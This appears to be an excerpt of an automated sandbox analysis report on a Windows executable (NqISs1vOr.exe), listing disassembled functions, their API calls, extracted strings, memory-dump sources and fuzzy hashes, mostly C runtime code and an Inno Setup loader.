Instruction Fuzzy Hash: 76F01D30A00A09A2DB002FA1AD0E6AF7F78BB80746F9105A1D5D6B00E5DE3491B9D24A

Function 0040B861 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

___addlocaleref.LIBCMT ref: 0040B873

Part of subcall function 0040B739: InterlockedIncrement.KERNEL32(74DEDFA0), ref: 0040B74B
Part of subcall function 0040B739: InterlockedIncrement.KERNEL32(?), ref: 0040B758
Part of subcall function 0040B739: InterlockedIncrement.KERNEL32(?), ref: 0040B765
Part of subcall function 0040B739: InterlockedIncrement.KERNEL32(?), ref: 0040B772
Part of subcall function 0040B739: InterlockedIncrement.KERNEL32(?), ref: 0040B77F
Part of subcall function 0040B739: InterlockedIncrement.KERNEL32(?), ref: 0040B79B
Part of subcall function 0040B739: InterlockedIncrement.KERNEL32(?), ref: 0040B7AB
Part of subcall function 0040B739: InterlockedIncrement.KERNEL32(?), ref: 0040B7C1

___removelocaleref.LIBCMT ref: 0040B87E

Part of subcall function 0040B7C8: InterlockedDecrement.KERNEL32(74DEDFA0), ref: 0040B7E2
Part of subcall function 0040B7C8: InterlockedDecrement.KERNEL32(?), ref: 0040B7EF
Part of subcall function 0040B7C8: InterlockedDecrement.KERNEL32(?), ref: 0040B7FC
Part of subcall function 0040B7C8: InterlockedDecrement.KERNEL32(?), ref: 0040B809
Part of subcall function 0040B7C8: InterlockedDecrement.KERNEL32(?), ref: 0040B816
Part of subcall function 0040B7C8: InterlockedDecrement.KERNEL32(?), ref: 0040B832
Part of subcall function 0040B7C8: InterlockedDecrement.KERNEL32(?), ref: 0040B842
Part of subcall function 0040B7C8: InterlockedDecrement.KERNEL32(?), ref: 0040B858

___freetlocinfo.LIBCMT ref: 0040B892

Part of subcall function 0040B5F0: ___free_lconv_mon.LIBCMT ref: 0040B636
Part of subcall function 0040B5F0: ___free_lconv_num.LIBCMT ref: 0040B657
Part of subcall function 0040B5F0: ___free_lc_time.LIBCMT ref: 0040B6DC

Strings

p}E, xrefs: 0040B889

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Interlocked$DecrementIncrement$___addlocaleref___free_lc_time___free_lconv_mon___free_lconv_num___freetlocinfo___removelocaleref
String ID: p}E
API String ID: 467427115-932643814
Opcode ID: dc0950cdbfca43cb46e8eada1e3bba07d17679a0d86d7d7e199d096445f6bc46
Instruction ID: 87dfc9db6cc6096610c3faad33b2f7d684f12c379cb45246b1d4642d53edf423
Opcode Fuzzy Hash: dc0950cdbfca43cb46e8eada1e3bba07d17679a0d86d7d7e199d096445f6bc46
Instruction Fuzzy Hash: 49E04F23501A2315CE363A1D680026B92ACCFD3756B1D41BFF808B72E6DB3D4C8045DD

Function 0063C3C4 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0063C48B
___AdjustPointer.LIBCMT ref: 0063C4AE
___AdjustPointer.LIBCMT ref: 0063C54A

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: dc0238863d457a27e1bce2d0ac5b8b7f0b6a77dde26d3f9465aa75132b8b44d9
Instruction ID: fc583f7421d1c731fa57cde423b7f2310be3ba93bcb1b84ea747b87df87604c2
Opcode Fuzzy Hash: dc0238863d457a27e1bce2d0ac5b8b7f0b6a77dde26d3f9465aa75132b8b44d9
Instruction Fuzzy Hash: 4451B4726012069FDB299F14D861BBA77E6EF44320F14852DF90567292E731EC92C7D4

Function 0040A62B Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0040A65F
__isleadbyte_l.LIBCMT ref: 0040A693
MultiByteToWideChar.KERNEL32(?,00000009,?,?,?,00000000,?,?,?,00000000), ref: 0040A6C4
MultiByteToWideChar.KERNEL32(?,00000009,?,00000001,?,00000000,?,?,?,00000000), ref: 0040A732

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: e224db6d442c4383dec286caddee01323d1a9b74086a6ff5f5bdec3bc306d917
Instruction ID: c1c6d2d90700bb89a23820e70023eb6faf0b0996d5bc632f70591ff8279ac006
Opcode Fuzzy Hash: e224db6d442c4383dec286caddee01323d1a9b74086a6ff5f5bdec3bc306d917
Instruction Fuzzy Hash: 1131C231900345EFCB10DF64C884AAE3BB4EF01350F19897AE4A5AB2D1D336DD61DB5A

Function 0063C2E4 Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0063C300
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0063C319

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: 3749880c75a45a6b8eac1f779edb987ce3a485797d04c505634ab316e8d7cfc2
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 2501D8322096119EF67427B87CC599B2ADAFB01774F60823DF510B51E3EF255C0252D8

Function 0040D324 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040D34A

Part of subcall function 0040D16F: __fltout2.LIBCMT ref: 0040D19B

__cftog_l.LIBCMT ref: 0040D370
__cftoe_l.LIBCMT ref: 0040D3A2

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: c58f584344cc129f44cbeb7ed45c579eb2bf2b78e110a3470603264a11baad7e
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 3B11607240004EFBCF165ED5DC41CEE3F22BB08354F588426FE1869164D23AC9B5AB86

Function 0063C120 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0063C15F
__IsNonwritableInCurrentImage.LIBCMT ref: 0063C213

Strings

csm, xrefs: 0063C1FD

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 2a817a1480194b9b32cfb7907dea545d9bb946fea234306998335fac64bc32e7
Instruction ID: c2d31e345bf9dd372697c0bac89544be27c3bb0cc830d1f95f63d22d11481c21
Opcode Fuzzy Hash: 2a817a1480194b9b32cfb7907dea545d9bb946fea234306998335fac64bc32e7
Instruction Fuzzy Hash: 2B41B234A00218ABCF10DFA8D880ADEBBB6AF45324F148169F815AB352C7319A15DBD5

Function 00631CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00631D5B

Strings

BAOJ, xrefs: 00631D2A
JAY@, xrefs: 00631CF0

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Init_thread_footer
String ID: BAOJ$JAY@
API String ID: 1385522511-1137680417
Opcode ID: a0d43f2bff2cdd8459d4469a3dc09680b743f1bf2a176f00ca3623db7dc0a4ed
Instruction ID: a53652c4166c7e4559b8034c9852d78ae427b0f264ebb36748bc45b729289795
Opcode Fuzzy Hash: a0d43f2bff2cdd8459d4469a3dc09680b743f1bf2a176f00ca3623db7dc0a4ed
Instruction Fuzzy Hash: A6215770F002449AD730DF68E8467A9B3A0FF16304FA0426DE8444B262DBB41582DB8E

Function 00638DA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00638E0E

Strings

G@ZK, xrefs: 00638DC0
[@G_, xrefs: 00638DB7

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Init_thread_footer
String ID: G@ZK$[@G_
API String ID: 1385522511-2338778587
Opcode ID: 1e8f8208f12b7c16407fd68a52fe85551186d20058d4469b98e4fffa1dba6e00
Instruction ID: 3ce7e70523e69481ddd743886623092db3085acf4b2738581d0d8d782c23fd83
Opcode Fuzzy Hash: 1e8f8208f12b7c16407fd68a52fe85551186d20058d4469b98e4fffa1dba6e00
Instruction Fuzzy Hash: 7201D670F00344CFC710EFB8EC419ADB7B1A719310FA0016DF565AB291DA75A8019B8A

Function 006387C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0063882E

Strings

[@G_, xrefs: 006387D7
G@ZK, xrefs: 006387E0

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Init_thread_footer
String ID: G@ZK$[@G_
API String ID: 1385522511-2338778587
Opcode ID: 7838c3211c085e07b27c5848d939389a9bfd04a1f51875a12125b6f39e7dd458
Instruction ID: 5642563f8dfef5e1eb1b2032252fba955b6515ff81a2b6628b4b50181208c3cf
Opcode Fuzzy Hash: 7838c3211c085e07b27c5848d939389a9bfd04a1f51875a12125b6f39e7dd458
Instruction Fuzzy Hash: 9601D6F0F01204CBD720DFA8AD41AADB7B0AB19310F9001ADF4556B291DA355842DB8A

Function 00638170 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 006381D9

Strings

A@K., xrefs: 0063818D
@G@K, xrefs: 00638186

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Init_thread_footer
String ID: @G@K$A@K.
API String ID: 1385522511-2457859030
Opcode ID: 6a18aaa1088744a2cef52ce5b21989f42f77fe0bf8ffefca87306ddb1a3f9198
Instruction ID: 97c8cac64474be6e2fbd18f79813d47044f6dfec67fdc2a876a0994497c7e5db
Opcode Fuzzy Hash: 6a18aaa1088744a2cef52ce5b21989f42f77fe0bf8ffefca87306ddb1a3f9198
Instruction Fuzzy Hash: A3018674F002049FC750DF98E942A9CB7B1E708300FA0017EE95697791DB75AA419B9E

Function 00638280 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 006382E9

Strings

@G@K, xrefs: 00638296
ZYA., xrefs: 0063829D

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Init_thread_footer
String ID: @G@K$ZYA.
API String ID: 1385522511-4236202813
Opcode ID: 3264282d574ff772c11f641d984cce154067a6c0aea3269eae2f2ae7d2ec284f
Instruction ID: 0c2daa01c8e8416d76471be3082ae15a80cafe71b05204c9cc1f0a520add05e4
Opcode Fuzzy Hash: 3264282d574ff772c11f641d984cce154067a6c0aea3269eae2f2ae7d2ec284f
Instruction Fuzzy Hash: 07018674F00305DFC714EF98E991A9C77B1AB04310F90017EE96557391DA746941DB8A

Analysis Process: NqISs1vOr.exePID: 6872, Parent PID: 6556COMMON

Execution Graph

Execution Coverage:	21.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.6%
Total number of Nodes:	1498
Total number of Limit Nodes:	22

Executed Functions

Function 00409B30 Relevance: 7.6, APIs: 5, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 00409B42
VirtualQuery.KERNEL32(00400000,?,0000001C,?), ref: 00409B4D
VirtualProtect.KERNEL32(?,?,00000040,?,00400000,?,0000001C,?), ref: 00409B8E
VirtualProtect.KERNEL32(?,?,?,?,?,?,00000040,?,00400000,?,0000001C,?), ref: 00409BC0
VirtualQuery.KERNEL32(?,?,0000001C,00400000,?,0000001C,?), ref: 00409BD0

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Virtual$ProtectQuery$InfoSystem
String ID:
API String ID: 2441996862-0
Opcode ID: 9fe1c1492d4e2c4f54cecc4c125b8c20c153f3aea56d010d52fe367946264e59
Instruction ID: 3002c4020e31fcb34e6ffc2d5983d7aa910ebdc8277ab133fd4bc27d875cdae8
Opcode Fuzzy Hash: 9fe1c1492d4e2c4f54cecc4c125b8c20c153f3aea56d010d52fe367946264e59
Instruction Fuzzy Hash: F4219DB12003046BD7709AA99C85E5777E9EB85370F04082BFA89E32D3D239FC40C669

Function 004051FC Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052C7,?,00000000,004053A6), ref: 0040521A

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: aeae165a0667224cac4d27e5e834f0a87ce76ef06cf9607ed78754c9c470ac4f
Instruction ID: f5e54e9283223dc3068d295e9d46a059fb55c29f9ef527c49189185961fa2cd4
Opcode Fuzzy Hash: aeae165a0667224cac4d27e5e834f0a87ce76ef06cf9607ed78754c9c470ac4f
Instruction Fuzzy Hash: 42E0927170021426D710A9A99C86AEB735CEB58310F4002BFB908E73C6EDB49E844AEE

Function 0040457C Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 27
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,00409C60), ref: 00404582
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040458F
GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 004045A5
GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 004045BB
SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,00409C60), ref: 004045C6

Strings

SetProcessDEPPolicy, xrefs: 004045B5
SetDllDirectoryW, xrefs: 00404589
kernel32.dll, xrefs: 0040457D
SetSearchPathMode, xrefs: 0040459F

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$HandleModulePolicyProcess
String ID: SetDllDirectoryW$SetProcessDEPPolicy$SetSearchPathMode$kernel32.dll
API String ID: 3256987805-3653653586
Opcode ID: 5152b1c660b0fef0348360efae9d442e0d6811f491f57bfacbbc157bf84edc67
Instruction ID: 1f393095ee8ecda9e1e01b6ca7d440447e938bbc9796bcd5dbe8d266940e5f64
Opcode Fuzzy Hash: 5152b1c660b0fef0348360efae9d442e0d6811f491f57bfacbbc157bf84edc67
Instruction Fuzzy Hash: 5FE02DD03813013AEA5032F20D83B2B20884AD0B49B2414377F25B61C3EDBDDA40587E

Function 0040A0E7 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32 ref: 0040A0F4

Part of subcall function 00409648: GetLastError.KERNEL32(00000000,004096EB,?,0040B240,?,0217237C), ref: 0040966C

CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040A131
SetWindowLongA.USER32(000403E6,000000FC,00409918), ref: 0040A148
RemoveDirectoryA.KERNEL32(00000000,0040A287,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A234
73A25CF0.USER32(000403E6,0040A287,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A248

Strings

STATIC, xrefs: 0040A12A
/SL5="$%x,%d,%d,, xrefs: 0040A188
InnoSetupLdrWindow, xrefs: 0040A125

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLastWindow$CreateDirectoryLongRemove
String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
API String ID: 3341979996-3001827809
Opcode ID: 1a4f1778be80c46942aa9f98cae2169e0a6230f8324263ff29803b7c5577a5a1
Instruction ID: a1ec2b29f79e5ff862fc4fad7e4f310b8339f10a1453332cc6b7faa73b6a426b
Opcode Fuzzy Hash: 1a4f1778be80c46942aa9f98cae2169e0a6230f8324263ff29803b7c5577a5a1
Instruction Fuzzy Hash: C2411F71600205DFD710EBA9EE8AB9977A4EB45304F10467EF514B73E2CBB8A811CB9D

Function 004090A4 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0040913D,?,?,?,?,00000000,?,00409C74), ref: 004090C4
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004090CA
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0040913D,?,?,?,?,00000000,?,00409C74), ref: 004090DE
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004090E4

Strings

Wow64RevertWow64FsRedirection, xrefs: 004090D4
Wow64DisableWow64FsRedirection, xrefs: 004090BA
kernel32.dll, xrefs: 004090BF, 004090D9
shell32.dll, xrefs: 00409110

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: acfb4439f313785c2c2b120c37d6defef782ad7ac64c67e7eba3e924cf2abd75
Instruction ID: 4a4222b704d734fa8d0781b40c04fe9f9c76e7b4f133337d95099c0c8a01123f
Opcode Fuzzy Hash: acfb4439f313785c2c2b120c37d6defef782ad7ac64c67e7eba3e924cf2abd75
Instruction Fuzzy Hash: 20017170748342AEFB00BB72DD4AB163A68E785704F50457BF5407A2D3DABD4C04DA6D

Function 0040A0D5 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040A131
SetWindowLongA.USER32(000403E6,000000FC,00409918), ref: 0040A148

Part of subcall function 00406B7C: GetCommandLineA.KERNEL32(00000000,00406BC0,?,?,?,?,00000000,?,0040A1B9,?), ref: 00406B94

Part of subcall function 004099A4: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,0217237C,00409A90,00000000,00409A77), ref: 00409A14
Part of subcall function 004099A4: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,0217237C,00409A90,00000000), ref: 00409A28
Part of subcall function 004099A4: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409A41
Part of subcall function 004099A4: GetExitCodeProcess.KERNEL32(?,0040B240), ref: 00409A53
Part of subcall function 004099A4: CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,0217237C,00409A90), ref: 00409A5C

RemoveDirectoryA.KERNEL32(00000000,0040A287,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A234
73A25CF0.USER32(000403E6,0040A287,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A248

Strings

STATIC, xrefs: 0040A12A
/SL5="$%x,%d,%d,, xrefs: 0040A188
InnoSetupLdrWindow, xrefs: 0040A125

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseCreateHandleProcessWindow$CodeCommandDirectoryExitLineLongMultipleObjectsRemoveWait
String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
API String ID: 978128352-3001827809
Opcode ID: abb3e52ba2d34a87c951cbeec188d4c3ff7361d17d45cb79fe2b458f8c7fb345
Instruction ID: f39d198f6ca78f9e57da3cbf677d536b45cc778db879de651171db1d1b5627bc
Opcode Fuzzy Hash: abb3e52ba2d34a87c951cbeec188d4c3ff7361d17d45cb79fe2b458f8c7fb345
Instruction Fuzzy Hash: 07411A71604204DFD714EBA9EE86B5A77A4EB49304F10427EE514B73E1CBB8A810CB9D

Function 004099A4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,0217237C,00409A90,00000000,00409A77), ref: 00409A14
CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,0217237C,00409A90,00000000), ref: 00409A28
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409A41
GetExitCodeProcess.KERNEL32(?,0040B240), ref: 00409A53
CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,0217237C,00409A90), ref: 00409A5C

Part of subcall function 00409648: GetLastError.KERNEL32(00000000,004096EB,?,0040B240,?,0217237C), ref: 0040966C

Strings

D, xrefs: 004099EE

Memory Dump Source

Source File: 00000002.00000002.3047534527.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3047499637.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047571667.000000000040B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3047599538.0000000000411000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitLastMultipleObjectsWait
String ID: D
API String ID: 3356880605-2746444292
Opcode ID: ad223a4d496df5c95c16f58257358154d13b00c0811500baad5b3d8f4e498b4c
Instruction ID: 6ea97129cf5aa135a7f7046e3a99eae43c862e8aca722617c6144c18eae127a8
Opcode Fuzzy Hash: ad223a4d496df5c95c16f58257358154d13b00c0811500baad5b3d8f4e498b4c
Instruction Fuzzy Hash: 3A1142B17442486EDB10EBE68C42FAEB7ACEF49714F50017BB604F72C2DA785D048A69

Function 00409E47 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 00409EAB

Strings

.tmp, xrefs: 00409EF1
y@, xrefs: 00409FB4

Memory Dump Source

